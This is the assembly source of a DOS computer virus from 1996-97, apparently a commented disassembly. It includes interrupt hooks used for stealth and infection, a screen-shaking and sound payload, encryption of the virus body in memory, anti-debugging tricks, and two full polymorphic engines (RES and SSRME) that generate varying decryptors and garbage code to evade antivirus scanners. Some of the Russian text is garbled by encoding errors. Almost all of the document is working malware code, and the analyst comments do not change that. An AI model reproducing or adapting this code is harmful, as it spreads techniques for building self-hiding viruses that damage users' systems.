db 'GD' ; GDI.EXE (Windows file) ³
db 'AV' ; Already checked!!! ÄÄÄÄÄÄÄÄÄ-
db '##' ; End of table
db 0 ; Unused!
db 0Dh,0Ah
db ' yâ¨-ëç !'
db 0Ah,0Dh
db ' ¥p¥¨¬¥-®¢ âì -¥ § å®â¥«,¤ ! ’ë á ¬ í⮣® å®â¥« ! '
db 0Dh,0Ah
db ' â® ¢®©- !!! ‘- ç « ¤®ª¨ - yç¨áì ¯¨á âì (ᬠAVPVE)!'
db 0Dh,0Ah
db '‚ ®¡é¥¬,H…‚Ž‡ŒŽ†HŽ‘’œ ‹…—…HˆŸ ®áâ ¢«ï¥â £-¥âã饥 ¢¯¥ç â«¥-¨¥'
db 0Ah,0Dh
db '®â ç१¬¥à-ëå ¯®â㣠£®á¯®¤¨- ¢¨à«¨á⮯¨á ⥫ï...'
db 0Dh,0Ah
db 'Exe-Pklite ⮫쪮 ¢ 3.13 - ª®¯ «... ¥¤-ë¥ î§¥pë - ¢¥p-®¥'
db 0Dh,0Ah
db 'â¥¡ï § ¤®«¡ «¨, ? Š ª íâ®:¢á¥ “„€‹ˆ‹:), ®- ®¯ïâì ¯®ï¢¨«áï !'
db 0Dh,0Ah
db 'H“ ’… … œ ‚‘… - ‚€Œ ‚‘…Œ Œ…HŸ ’… … œ ‹…—ˆ’œ ‘‹€ Ž:SND ®¤- ª®...'
db 0Dh,0Ah
db 'RES -¥ ®âí¬y«¨« - ¯®«yç¨ 32ReGs,@$%^, !'
db 0Dh,0Ah
db 'Revenge - â® ¤ ¦¥ -¥ è¢ ¡p , ¯ë«¥á®á á 拉p-®© - ª 窮© ¨'
db 0Dh,0Ah
db 'âyp¡®-- ¤¤y¢®¬ ¤«ï ⢮¥© -¥áç áâ-®© yâ¨-ë ¨ ®áâ «ì-ëå ‡€SHITHˆŠŽ‚!'
db 0Dh,0Ah
db '[®áâ «ì-ë¥ - ¥§¤ë ¯®áª¨¯ -ë]'
db 0Dh,0Ah
db '“¢ ¦ ¥¬ë© £-- Š ᯥp᪨© ! Žç¥-ì ¡« £®¤ p¥- § ¯®¤p®¡-®¥ ®¯¨á -¨¥ !'
db 0Dh,0Ah
db 'Œ-¥ ®ç¥-ì ¯®-p ¢¨«®áì,thanks. £¨ ¢ ¤®ª¥ ¥áâì -® ¢á¥ p ¢-® - Š “’Ž !'
db 0Dh,0Ah
db 'RES - -¥ ¯®«¨¬®pä-ë© £¥-¥p â®p, Randomer'
db 0Dh,0Ah
db ' ® í⮬y ¯®¢®¤y ï y¤ «¨« .AVB ¨§ å®p®è¥£® ᯨ᪠! Best®¢ë¥ p¥£ p¤ë ¨'
db 0Dh,0Ah
db 'py«¥áë ! AVP - íâ® ªpyâ®,Web - real SUXX !'
db 0Dh,0Ah
db '‡ ¡ £¨ ¨ £«îª¨ -¥ ®â¢¥ç î (¢ ®á®¡¥--®á⨠§ çy¦¨¥)!'
db 0Dh,0Ah
db 'ü S.S.R.'
db 0Dh,0Ah
db 'P.S. remember:8086 - -¥ 486, emul - -¥ TD386'
db 0Dh,0Ah
encrypt_instructions:
add es:[di],al
sub es:[di],al
xor es:[di],al
ror byte ptr es:[di],cl
int_24:
mov al,3
iret
int_1c:
pushf
inc cs:tick_counter-100h
cmp cs:tick_counter-100h,6000h ; Time to shake screen?
; (6000h ticks = aprox. 22 min.)
je shake_screen ; Yes? then jmp
nop
nop
nop
popf
iret
shake_screen:
dec cs:tick_counter-100h ; Continue with shake
push ax
push dx
mov dx,3C4h
mov al,1
out dx,al ; EGA: sequencer address reg
; clocking mode. Data bits:
; 0: 1=8 dots/char; 0=9 dots/char
; 1: CRT bandwidth: 1=low; 0=high
; 2: 1=shift every char; 0=every 2nd char
; 3: dot clock: 1=halved
inc dx
in al,40h ; Get random number
and al,1 ; AL:=[0 | 1]
out dx,al ; EGA port: sequencer data register
; Shake screen
pop dx
pop ax
popf
iret
tick_counter dw 0
int_6:
pop cs:caller_IP-100h
pop cs:caller_CS-100h
push cs:caller_CS-100h
push cs:caller_IP-100h
push es
push ax
push di
mov ax,cs:caller_CS-100h
mov es,ax
mov di,cs:caller_IP-100h
cmp byte ptr es:[di],0F0h ; Opcode 0F0? (Used by SND)
jne exit_i6 ; No? then jmp
nop
nop
nop
mov al,es:[di+1] ; Get next byte
rcr al,1 ; Using AX?
jc encode_movax ; Yes? then jmp
nop
nop
nop
mov byte ptr es:[di],0B4h ; Encode MOV AH,xx
mov al,es:[di+3] ; Get value of AH
xor al,es:[di+2] ; Decrypt it
mov es:[di+1],al ; and store it
mov es:[di+2],21CDh ; Encode int 21h
jmp exit_i6
nop
encode_movax:
mov byte ptr es:[di],0B8h ; Encode MOV AX,xxxx
mov ax,es:[di+3] ; Get value of AX
xor al,es:[di+2] ; Decrypt it
xor ah,es:[di+2]
mov es:[di+1],ax ; and store it
mov es:[di+3],21CDh ; Encode int 21h
jmp exit_i6 ; Stupid JMP!!
nop
exit_i6:
pop di
pop ax
pop es
iret
caller_IP dw 0
caller_CS dw 0
int_ac:
add sp,6 ; Remove return address from stack
pushf
push ax
push bx
push es
mov bx,cs:ofs_i21_2-100h ; Get real int 21h
mov ax,cs:seg_i21_2-100h
mov es,ax
mov ax,cs:_2bytes_21h-100h
mov es:[bx],ax ; Restore original bytes
pop es
pop bx
pop ax
push si
push cx
push ax
mov si,offset(function_table)-100h
mov cx,3
l_cmp_function:
cmp ah,cs:[si] ; Function in table?
je found_function ; Yes? then jmp
nop
nop
nop
inc si
loop l_cmp_function
dec ah
cmp ax,4A00h ; 4B00h? Exec?
je found_function ; Yes? then jmp
nop
nop
nop
cmp ah,0FEh ; 0FFh?
jne cmp_abcd ; No? then jmp
jmp warning_msg ; Yes? then jmp
cmp_abcd:
cmp ax,0AACDh ; 0ABCDh?
jne cmp_4b53 ; No? then jmp
jmp warning_msg ; Yes? then jmp
cmp_4b53:
cmp ax,4A53h ; 4B53h?
jne cmp_cccc ; No? then jmp
jmp warning_msg ; Yes? then jmp
cmp_cccc:
cmp ax,0CBCCh ; 0CCCCh?
jne cmp_dead ; No? then jmp
jmp warning_msg ; Yes? then jmp
cmp_dead:
cmp ax,0DDADh ; 0DEADh?
jne exec_21h ; No? then jmp
jmp warning_msg ; Yes? then jmp
exec_21h:
pop ax
pop cx
pop si
popf
jmp jmp_21h
nop
function_table:
db 3Dh ; Open
db 4Eh ; Find-first
db 4Fh ; Find-next
found_function:
pop ax
pop cx
pop si
popf
call decrypt_memory
call set_original_i13h
int 0ABh
call encrypt_memory
call restore_i13h
jmp jmp_21h
nop
exit_21h:
call restore_i13h
call encrypt_memory
pushf
push es
push ax
push bx
mov bx,cs:ofs_i21_2-100h
mov ax,cs:seg_i21_2-100h
mov es,ax
mov es:[bx],0ACCDh ; int ACh in starting bytes of int 21h
pop bx
pop ax
pop es
popf
retf 2
jmp_21h:
pushf
pop cs:flags-100h ; Save flags
push es
push bx
push ax
xor bx,bx
mov es,bx ; ES:=0
mov bx,es:[2Ah*4] ; Get & save int 2Ah
mov cs:ofs_i2A_2-100h,bx
mov bx,es:[2Ah*4+2]
mov cs:seg_i2A_2-100h,bx
mov es:[2Ah*4],offset(int_2A_2)-100h ; Set new int 2Ah
mov es:[2Ah*4+2],cs
pop ax
pop bx
pop es
push cs
mov cs:saved_AX-100h,ax
mov ax,offset(return_from_int)-100h ; Return address
push ax
mov cs:saved_DI-100h,di
mov cs:saved_ES-100h,es
push cs:flags-100h
mov di,70h ; DOS Segment
mov es,di
push es
xor di,di
l_search_retf: ; Search for a RETF in DOS seg
cmp byte ptr es:[di],0CBh ; RETF?
je found_retf ; Yes? then jmp
nop
nop
nop
inc di
jmp l_search_retf
found_retf:
push di ; The int will return to a RETF in the
; DOS segment -> It simulates that the
; call to the int was done by DOS
mov di,cs:saved_ES-100h ; Restore registers
mov es,di
mov di,cs:saved_DI-100h
mov ax,cs:saved_AX-100h
db 0EAh ; jmp far (exec int 21h)
ofs_i21_2 dw 0
seg_i21_2 dw 0
return_from_int:
call restore_i2A_2
jmp int_2A_2
nop
restore_i2A_2:
pushf
push es
push bx
xor bx,bx
mov es,bx ; ES:=0
mov bx,cs:ofs_i2A_2-100h ; Restore int 2Ah
mov es:[2Ah*4],bx
mov bx,cs:seg_i2A_2-100h
mov es:[2Ah*4+2],bx
pop bx
pop es
popf
ret
_2bytes_21h dw 0
ofs_i2A_2 dw 0
seg_i2A_2 dw 0
saved_AX dw 0
saved_DI dw 0
saved_ES dw 0
flags dw 0
encrypt_memory:
pushf
push es
push si
push cx
push ax
xor si,si
mov ax,40h
mov es,ax
mov cl,es:[6Ch] ; Get random number (clock)
mov cs:mem_mask-100h,cl
mov al,cl
mov cx,int_24-virus_start
l_encrypt_memory:
push cx
mov cl,al
add cs:[si],cl ; Encrypt code in memory
ror byte ptr cs:[si],cl
xor cs:[si],cl
inc si
pop cx
loop l_encrypt_memory
pop ax
pop cx
pop si
pop es
popf
ret
decrypt_memory:
pushf
push si
push cx
push ax
xor si,si
mov cx,int_24-virus_start
l_decrypt_memcode:
push cx
mem_mask equ byte ptr $+1
mov cl,0 ; mov cl,mem_mask
xor cs:[si],cl ; Decrypt code in memory
rol byte ptr cs:[si],cl
sub cs:[si],cl
inc si
pop cx
loop l_decrypt_memcode
pop ax
pop cx
pop si
popf
ret
int_21:
pushf
db 9Ah ; call far
ofs_i21 dw 0
seg_i21 dw 0
ret
iret ; Unused!
set_original_i13h:
pushf
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[13h*4] ; Get int 13h
mov cs:ofs_actual_i13-100h,ax ; Save it
mov ax,es:[13h*4+2]
mov cs:seg_actual_i13-100h,ax
mov ax,cs:ofs_i13-100h
mov es:[13h*4],ax ; Set original int 13h
mov ax,cs:seg_i13-100h
mov es:[13h*4+2],ax
pop es
pop ax
popf
ret
restore_i13h:
pushf
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:ofs_actual_i13-100h ; Restore int 13h
mov es:[13h*4],ax
mov ax,cs:seg_actual_i13-100h
mov es:[13h*4+2],ax
pop es
pop ax
popf
ret
ofs_i13 dw 0
seg_i13 dw 0
ofs_actual_i13 dw 0
seg_actual_i13 dw 0
warning_msg:
mov ax,0B800h
mov es,ax ; ES:=0B800 (text video segment)
mov di,(6*80+15)*2 ; gotoxy(15,6)
mov si,offset(msg_alarm)-100h
mov cx,14 ; Number of msgs
l_next_msg:
push di
xor bp,bp
l_msg_nextchar:
inc bp
mov al,cs:[si]
cmp al,0 ; End of string?
jz msg_end ; Yes? then jmp
nop
nop
nop
mov ah,15 ; Textcolor=white
stosw ; Put character on screen
inc si
jmp l_msg_nextchar
msg_end:
inc si
push cx
shl bp,1
mov cx,(80+15)*2
sub cx,bp
mov ax,0F20h
cld
rep stosw ; Fill line with spaces
pop cx
pop di
add di,80*2 ; Next line
loop l_next_msg
xor cx,cx
mov bx,cx
mov ax,1010h
xor dx,dx
l_change_colors:
push di
push bx
mov di,0C8h
mov bx,0Ah
call sound
pop bx
pop di
int 10h ; AX=1010h : Set individual DAC regs.
; BX=0 -> Color 0
inc dh ; Inc value for red
push di
push bx
mov dl,dh
and dl,0Fh
cmp dl,1
jne loop_change_colors
nop
nop
nop
mov di,12Ch
mov bx,12Ch
call sound
jmp loop_change_colors
sound:
push ax
push bx
push cx
push dx
push di
mov al,0B6h
out 43h,al ; Get the timer ready
mov dx,14h
mov ax,4F38h
div di
out 42h,al ; Send frecuency to timer
mov al,ah
out 42h,al
in al,61h ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
mov ah,al
or al,3 ; Speaker ON
out 61h,al
l_loop_sound2:
mov cx,0AF1h
l_loop_sound1:
loop l_loop_sound1
dec bx
jnz l_loop_sound2
mov al,ah ; Set Speaker to previous state
out 61h,al ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
pop di
pop dx
pop cx
pop bx
pop ax
ret
iret ; Unused!
db 0 ; Unused!
db 0Ah,0Dh,'--------------------'
db 0Ah,0Dh,'--------------------'
db 0Ah,0Dh,'Orign:NUkE HiM A11 !',0
db 'BIG NAWOROT',0
db 'BUGS INSIDE <tm> ',0
virus_end:
SSR ends
extrn res_engine:near
extrn ssrme_engine:near
extrn mme_engine:near
end host
.386p
RES segment use16
assume cs:RES, ds:RES, es:RES, ss:RES
org 0
res_engine:
start:
call res_delta
res_delta:
pop si
sub si,3 ; Get delta-offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,offset(end_res)
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy RES code to working area
pop ds
pop cx
mov ax,offset(res_start+100h)
push es
push ax
retf ; jmp res_start
res_start:
pop es
mov si,100h
mov ax,es
add ax,(end_res-start+15)/16+1
mov es,ax ; Calculate base segment for decryptor
mov cs:[si+runtime_ofs],bx
mov cs:[si+code_length],cx
push cx
mov cx,RES_SIZE_DEC
xor di,di
mov al,90h ; NOP
cld
rep stosb ; Fill with NOPs
call init_masks
mov cx,8 ; 8 instructions per decryptor
xor di,di
add di,si
l_select_instructions:
push cx
call RES_get_random
mov ah,0
push cx
mov cl,5
shr al,cl ; AX in [0..7]
shl ax,1
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
pop cx
push di
push si
add di,offset(buffer_decryptor)
add si,offset(decryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select an instruction for decryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
push di
push si
add di,offset(buffer_encryptor)
add si,offset(encryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select the instruction for encryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
add di,4
pop cx
loop l_select_instructions
call reverse_decryptor_table
call make_encryptor
pop cx
push cx
mov bp,dx
mov di,RES_SIZE_DEC
mov cs:[si+code_CRC],0
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
mov ah,0
add cs:[si+code_CRC],ax ; Make code CRC
inc di
inc bp
loop l_encrypt_code
push ds
push cs
pop ds
xor di,di
push si
add si,offset(decryptor_code)
mov cx,decrypted_code-decryptor_code
nop
cld
rep movsb ; Copy decryptor to buffer
pop si
pop ds
push es
pop ds
xor dx,dx ; DS:DX = Address of decryptor+code
pop cx
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
retf
db 0
db 'RandomEncryptionSynthezator',0
db 'ü S.S.R. 1996-97',0
init_masks:
push si
mov cx,3 ; Only first 3 instructions need a mask
l_next_mask:
call RES_get_random
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
mov byte ptr cs:[si+encryptor_table+3],al
add si,4 ; Next inst.
loop l_next_mask
pop si
ret
RES_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret
make_encryptor:
push es
push ds
push cs
pop es
push cs
pop ds
push si
in al,40h ; Get random number
mov cx,8
mov di,offset(encryptor)
add di,si
add si,offset(buffer_encryptor)
l_make_encryptor:
rcr al,1 ; Add instruction to encryptor?
jc add_instruction ; Yes? then jmp
nop
nop
add si,4
loop_make_encryptor:
loop l_make_encryptor
jmp encryptor_done
nop
add_instruction:
cld
push cx
mov cx,4
rep movsb ; Store instruction
pop cx
jmp loop_make_encryptor
encryptor_done:
pop si
pop ds
pop es
ret
reverse_decryptor_table:
push ax
push bp
push di
push cx
push bx
mov cx,8/2
mov di,offset(buffer_decryptor)
add di,si
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
add bp,si
l_reverse_table:
mov ax,cs:[di] ; Xchg instructions
mov bx,cs:[bp]
mov cs:[di],bx
mov cs:[bp],ax
mov ax,cs:[di+2]
mov bx,cs:[bp+2]
mov cs:[di+2],bx
mov cs:[bp+2],ax
sub bp,4 ; xchg next instruction
add di,4
loop l_reverse_table
pop bx
pop cx
pop di
pop bp
pop ax
ret
db 4 ; Unused !!
decryptor_code:
runtime_ofs equ word ptr $+1
mov bp,0 ; mov bp,runtime_ofs
push 1100h+(90h+3Ch-20h)
sub bp,offset(decryptor_code)
mov di,offset(decryptor)
add di,bp
pop ax ; AX:=1100h+(90h+3Ch-20h)
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
mov cs:[bp+decrypting],0 ; Not decrypting
mov cx,20h
push es
push ds
add ax,cx
push cs
pop es
push cs
pop ds
cld
dec cx
sub al,3Ch ; AL:=90h (NOP)
rep stosb
add al,3Ch ; AL:=0CCh (int 3)
stosb
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
jb create_random_decryptor ; Yes? then jmp
nop
nop
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
; n_decryptors will be increased, so it'll
; find the correct decryptor.
jmp create_decryptor
nop
create_random_decryptor:
in al,40h ; Get random number
create_decryptor:
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
mov cx,8
mov si,offset(buffer_decryptor)
add si,bp
mov di,offset(decryptor)
add di,bp
l_make_random_decryptor:
rcr al,1 ; Add instruction to decryptor?
jc add_inst_dec ; Yes? then jmp
nop
nop
add si,4
next_dec_instruction:
loop l_make_random_decryptor
jmp done_random_decryptor
nop
add_inst_dec:
cld
push cx
mov cx,4
rep movsb ; Add instruction
pop cx
jmp next_dec_instruction
done_random_decryptor:
mov di,RES_SIZE_DEC
add di,cs:[bp+runtime_ofs]
code_length equ word ptr $+1
mov cx,0 ; mov cx,code_length
mov bx,cs:[bp+code_CRC]
l_random_decryptor:
mov dl,cs:[di]
mov al,dl
mov ah,0
sub bx,ax ; Calculate CRC
cmp cs:[bp+decrypting],1 ; Decrypting?
je decrypt_byte ; Yes? then jmp
nop
nop
loop_decryptor:
inc di
loop l_random_decryptor
pop ds
pop es
cmp bx,0 ; CRC OK?
jnz decryptor_code ; No? then jmp
jmp found_decryptor ; Yes? then jmp
nop
code_CRC dw 0
decryptor_ok db 0
decrypting db 0
db 0Bh ; Unused!
db 0Bh ; Unused!
db 0Bh ; Unused!
decryptor_id db 0
n_decryptors dw 0
decrypt_byte:
mov cs:[di],dl ; Store decrypted byte
jmp loop_decryptor
found_decryptor:
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
je code_decrypted ; Yes? then jmp
nop
nop
mov cs:[bp+decrypting],1
mov cs:[bp+decryptor_ok],1
push es
push ds
jmp done_random_decryptor ; Decrypt code
code_decrypted:
jmp anti_disasm1
nop
db 69h ; Antidebug
anti_disasm1:
cli
push 3545h
jmp anti_disasm2
nop
db 0EAh ; Antidebug
anti_disasm2:
cli
inc sp
mov ax,cs:[bp]
xor ax,bx
cld
scasb
inc sp
mov ax,4202h
sub sp,2
pop ax
cmp ax,3545h ; Is it being traced?
jne decrypted_code ; Yes? then jmp
; BUG! Should jump when not traced
nop
nop
xor ax,3445h
mov es,ax
inc byte ptr cs:[0Dh]
and cx,0Fh
rep scasb
xor ax,cs:[si]
pushf
pop ax ; Get flags
and ah,0FEh ; Clear trace flag
push ax
xchg bx,cx
les bx,ds:[2Bh]
popf ; Trace flag off
xor eax,eax
mov dr7,eax ; Clear all breakpoints
dec byte ptr cs:[0Dh]
call skip_reset
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
dw 0FFF0h ; but never reach here because in 'skip_reset'
dw 0F000h ; it does a pop of the return address
skip_reset:
pop ax
decrypted_code: ; End of decryptor code
encryptor_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
nop
ror byte ptr es:[di],1
nop
rol byte ptr es:[di],1
nop
neg byte ptr es:[di]
nop
not byte ptr es:[di]
nop
neg byte ptr es:[di]
decryptor_table:
nop
xor dl,0
nop
sub dl,0
nop
add dl,0
nop
nop
rol dl,1
nop
nop
ror dl,1
nop
nop
neg dl
nop
nop
not dl
nop
nop
neg dl
end_res:
RES ends
public res_engine
end
SSRME_DEC_SIZE = 5000
SSRME_SIZE = end_ssrme200b - start
ssrme_engine:
start:
call ssrme_delta
ssrme_delta:
pop si
sub si,3 ; Get delta offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,SSRME_SIZE
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy engine code to working area
pop ds
pop cx
mov ax,offset(start_ssrme)+100h
push es
push ax
retf ; jmp start_srme
start_ssrme:
pop es
mov si,100h
mov ax,es
add ax,(end_ssrme200b-start+15)/16+1
mov es,ax
mov cs:[si+ofs_src],dx
push cx
push bx
mov cx,8
mov al,0
mov bp,offset(register_table)
l_gen_reg_table: ; Create a table with [0,1,2,3,5,6,7]
mov cs:[bp+si],al
cmp al,4 ; Register SP?
je skip_4 ; Yes? then jmp (skip it)
inc bp
skip_4:
inc al
loop l_gen_reg_table
push si
mov cx,8
add si,offset(register_table)
l_xchg_regs: ; Xchg registers in register table
call SSRME_get_random
and al,7
mov ah,0 ; AX in [0..7]
mov bp,si
add bp,ax ; Reg #1
call SSRME_get_random
and ax,7 ; AX in [0..7]
mov di,si
add di,ax ; Reg #2
mov al,cs:[bp]
xchg al,cs:[di] ; Xchg registers
mov cs:[bp],al
loop l_xchg_regs
pop si
mov cx,SSRME_DEC_SIZE
mov al,90h ; NOP
xor di,di
cld
rep stosb ; Fill with NOPs
xor di,di
xor bp,bp
l_next_register:
push bp
mov ax,0B866h ; Generate MOV ext-reg,xxxxxxxx
add ah,byte ptr cs:[bp+si+register_table] ; Select reg
stosw
call SSRME_get_random ; Generate double-word
mov ah,al
call SSRME_get_random
stosw
call SSRME_get_random
mov ah,al
call SSRME_get_random
stosw
call generate_garbage_calljmp
pop bp
inc bp ; Next register
cmp bp,8 ; Last register?
jne l_next_register ; No? then jmp
mov cx,5
l_main_shit:
call generate_garbage
call generate_call_jmp
call generate_jxx
push cx
mov cx,5
l_gen_regreg:
call generate_op_regreg
loop l_gen_regreg
pop cx
call generate_int
call generate_call_addsp
loop l_main_shit
mov cs:[si+ofs_start_dec],di
mov ax,60CDh ; Generate INT 60h
cld
stosw
push ax
push bx
push cx
push dx
push bp
push di
push ax
push ax
push ax
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov es:[60h*4+2],cs ; Set new int 60h
mov ax,offset(int_60h)
add ax,si
mov es:[60h*4],ax
pop es
xor ax,ax ; Exec generated routine until int 60h
push es
push ax
retf
int_60h:
add sp,6 ; Remove return address+flags from stack
mov ax,si
mov si,100h
mov cs:[si+value_di],di ; Save reg values
mov cs:[si+value_ax],ax
mov cs:[si+value_bx],bx
mov cs:[si+value_bp],bp
pop ax
pop ax
pop ax
pop ax
pop di
pop bp
pop dx
pop cx
pop bx
pop ax
call SSRME_get_random
and al,7 ; AL in [0..7]
add al,80h ; AL in [80h...87h]
mov cs:[si+opindex],al
mov ah,0
shl al,1 ; AL in [0, 2,..., 14]
push ax
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Select a register combination
mov bx,offset(register_table)
mov cx,8
l_remove_registers: ; Remove register from register table
; because it is used
cmp al,cs:[bx+si]
je remove_register
cmp ah,cs:[bx+si]
jne dont_remove_register
remove_register:
mov byte ptr cs:[bx+si],0
dont_remove_register:
inc bx
loop l_remove_registers
pop ax
push ax
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Previously selected reg combination
mov bh,al
add bh,40h ; INC register
mov cs:[si+inc_inst],bh
mov cs:[si+index_reg],al
push dx
call get_register_value
mov cs:[si+value_index],dx
pop dx
pop ax
pop bx
add bx,SSRME_DEC_SIZE
push bx
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Previously selected reg combination
cmp al,ah ; Using same register?
je using_1reg ; Yes? then jmp
call get_register_value ; Get reg1 value
mov cx,dx
mov al,ah
call get_register_value ; Get reg2 value
add cx,dx ; Add values
jmp calc_index_inm
nop
using_1reg:
call get_register_value ; Get reg value
mov cx,dx
calc_index_inm:
pop bx ; Runtime offset
mov ax,bx
sub ax,cx ; Runtime ofs - reg.values
mov cs:[si+index_inm],ax ; [index_reg +/- inmediate]
mov cx,8
mov bx,offset(end_decryptor-4)
mov di,cs:[si+ofs_start_dec]
l_gen_operation:
call SSRME_get_random
mov dl,al ; Value for mask
call SSRME_get_random
and ax,3 ; AX in [0..3] (select operation)
call generate_dec_instruction
call generate_enc_instruction
call generate_garbage
call generate_call_jmp
call generate_jxx
loop l_gen_operation
pop cx
push cx
mov bp,cs:[si+ofs_src]
mov bx,SSRME_DEC_SIZE
push cx
cld
l_crypt:
mov al,ds:[bp]
mov es:[bx],al
encryptor:
db 8*4 dup(90h) ; NOP
end_decryptor:
inc bx
inc bp
loop l_crypt
mov al,cs:[si+inc_inst] ; Generate INC index
stosb
pop dx ; Runtime ofs
add dx,cs:[si+value_index]
mov al,81h ; Generate CMP index,ofs end decryption
stosb
mov al,cs:[si+index_reg]
add al,0F8h
stosb
mov ax,dx
stosw
mov ax,374h ; Generate JE $+5
stosw
mov al,0E9h ; Generate JMP start decryptor
stosb
mov ax,cs:[si+ofs_start_dec]
sub ax,di
dec ax
dec ax
stosw
fill_length:
cmp di,SSRME_DEC_SIZE-100
jae jmp_code
call generate_garbage
jmp fill_length
jmp_code:
cld
mov al,0EBh ; Generate JMP xx
stosb
mov ax,SSRME_DEC_SIZE
sub ax,di
dec ax ; jmp to start of encrypted code
stosb
l_fill_buffer:
cmp di,SSRME_DEC_SIZE ; Buffer filled?
jae end_ssrme ; Yes? then jmp
call SSRME_get_random
stosb
jmp l_fill_buffer
end_ssrme:
push es
pop ds
xor dx,dx ; DS:DX -> decryptor + encrypted code
pop cx
add cx,SSRME_DEC_SIZE ; CX = size decryptor + encrypted code
retf
decryption_inst:
db 80h
opindex db 80h
index_inm dw 0
_mask db 0
inc_inst db 0
SSRME_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret
generate_garbage:
cld
push bx
call SSRME_get_random
and al,7 ; AL in [0..7]
cmp al,1 ; Generate 1 byte instruction?
je generate_1byte ; Yes? then jmp
cmp al,2 ; Generate antidisasm code?
je generate_antidisasm ; Yes? then jmp
cmp al,3 ; Generate conditional jump?
je generate_conditional_jmp; Yes? then jmp
cmp al,4 ; Generate JMP?
jne generate_operation ; No? then jmp?
jmp generate_jmp ; Yes? then jmp
generate_operation:
mov al,66h ; Extended registers
stosb
mov bx,offset(op_reg_inm_table)
call SSRME_get_random
and ax,7 ; AX in [0..7]
shl al,1 ; Select table entry
add bx,ax
mov al,cs:[bx+si] ; Generate operation
stosb
mov ah,cs:[bx+si+1]
call select_random_reg
and al,7 ; AL in [0..7]
add al,ah ; Select register
stosb
call SSRME_get_random ; Generate double word
mov ah,al
call SSRME_get_random
stosw
call SSRME_get_random
mov ah,al
call SSRME_get_random
stosw
ret_gen_garbage:
pop bx
ret
generate_1byte:
mov bx,offset(_1byte_table)
call SSRME_get_random
and ax,0Fh ; AX in [0..0Fh]
add bx,ax
mov al,cs:[bx+si] ; Select random instruction
stosb
jmp ret_gen_garbage
generate_antidisasm:
mov bx,offset(antidisasm_table)
call SSRME_get_random
and ax,3 ; AX in [0..3]
add bx,ax ; Select table entry
mov al,cs:[bx+si]
push ax
mov ax,1EBh ; Generate JMP $+1
stosw
pop ax ; Store anti-disasm
stosb
jmp ret_gen_garbage
generate_conditional_jmp:
call SSRME_get_random
rcr al,1 ; Generate CMC instruction?
jc generate_cmc ; Yes? then jmp
rcr al,1 ; Generate CLC+JNC?
jc generate_clc_jnc ; Yes? then jmp
mov al,0F9h ; Generate STC
stosb
mov al,72h ; Generate JC
stosb
jmp generate_ofs_short
nop
generate_clc_jnc:
mov al,0F8h ; Generate CLC
stosb
mov al,73h ; Generate JNC
stosb
jmp generate_ofs_short
nop
generate_cmc:
rcr al,1 ; Generate CLC+CMC+JC?
jc generate_clc_cmc_jc ; Yes? then jmp
mov al,0F9h ; Generate STC
stosb
mov al,0F5h ; Generate CMC
stosb
mov al,73h ; Generate JNC
stosb
jmp generate_ofs_short
nop
generate_clc_cmc_jc:
mov al,0F8h ; Generate CLC
stosb
mov al,0F5h ; Generate CMC
stosb
mov al,72h ; Generate JC
stosb
jmp generate_ofs_short ; Stupid jmp!!
nop
generate_ofs_short:
push cx
push ax
push di ; Save position
inc di
call gen_never_executed_code
pop ax ; Restore position
mov cx,di ; Calculate jmp offset
sub cx,ax
mov bp,ax
dec cl
mov es:[bp],cl ; Store offset
pop ax
pop cx
jmp ret_gen_garbage
generate_jmp:
mov al,0EBh ; Generate JMP xx
stosb
jmp generate_ofs_short
generate_call_jmp:
cld
push ax
push cx
mov al,0E8h ; Generate CALL xxxx
stosb
push di ; Save offset position
inc di
inc di
mov cx,5
l_gen_call_shit:
call generate_garbage
loop l_gen_call_shit
mov al,0E9h ; Generate JMP xxxx
stosb
push di ; Save offset position
inc di
inc di
mov cx,5
l_gen_jmp_shit:
call generate_garbage
loop l_gen_jmp_shit
mov al,0C3h ; Generate RET
stosb
pop bp ; Restore offset position
mov ax,di ; Calculate JMP offset
sub ax,bp
sub ax,2
mov es:[bp],ax ; Store offset
add bp,2
mov ax,bp
pop bp ; Restore offset position
sub ax,bp ; Calculate CALL offset
sub ax,2
mov es:[bp],ax ; Store offset
pop cx
pop ax
ret
generate_garbage_calljmp:
push cx
call SSRME_get_random
and ax,3
mov cx,ax ; CX in [0..3]
inc cx
inc cx ; CX in [2..5]
l_gen_garbage_calljmp:
push cx
call generate_garbage
call generate_call_jmp
pop cx
loop l_gen_garbage_calljmp
pop cx
ret
